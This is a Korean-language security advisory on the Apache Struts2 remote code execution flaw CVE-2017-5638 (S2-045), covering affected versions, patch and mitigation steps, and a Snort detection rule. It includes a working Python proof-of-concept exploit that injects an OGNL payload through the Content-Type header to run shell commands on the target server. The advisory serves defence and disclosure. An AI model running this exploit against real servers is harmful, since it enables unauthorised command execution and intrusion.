Struts2 원격코드실행 취약점(CVE-2017-5638,S2-045) 주의!
Struts2 원격코드실행 취약점(CVE-2017-5638,S2-045) 주의!
취약점 내용
Jakarta 플러그인을 이용하여 파일 업로드를 처리할 때 원격에서 임의의 코드를 실행할 수 있는 취약점으로, 공격자는 HTTP Request 헤더의 Content-Type값을 변조하여 원격 코드실행을 가능하게 합니다.
poc
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()
snort 탐지패턴
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"F-INV-APP-170307-ApacheStruts_remote_codeexecution_attempt"; flow:to_server,established; content:"Content-Type: %"; content:"com.opensymphony.xwork2.ActionContext.container"; nocase; content:"POST"; offset:0; depth:4;metadata:impact_flag red, service http; classtype:attempted-admin; rev:1;)
영향받는 버전
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
패치 방법
방법 1:
1) web 하위의 /WEB-INF/lib 하위에 struts-core.x.x.jar 존재하는지 확인
2) 만약 확인한 버전이 Struts2.3.5 ~ Struts2.3.31 / Struts2.5 ~ Struts2.5.1 버전이라면 취약점 존재
3) Apache Struts 2.3.32혹은 2.5.10.1 버전으로 업그레이드
방법 2:
Content-Type에 엄격한 필터링 적용, ognl 표현식 사용 금지
방법 3:
보안 솔루션 사용
방법 4(임시조치):
commons-fileupload-x.x.x.jar 파일 삭제 (삭제시 업로드 기능 사용 불가)
참고 :
https://cwiki.apache.org/confluence/display/WW/S2-045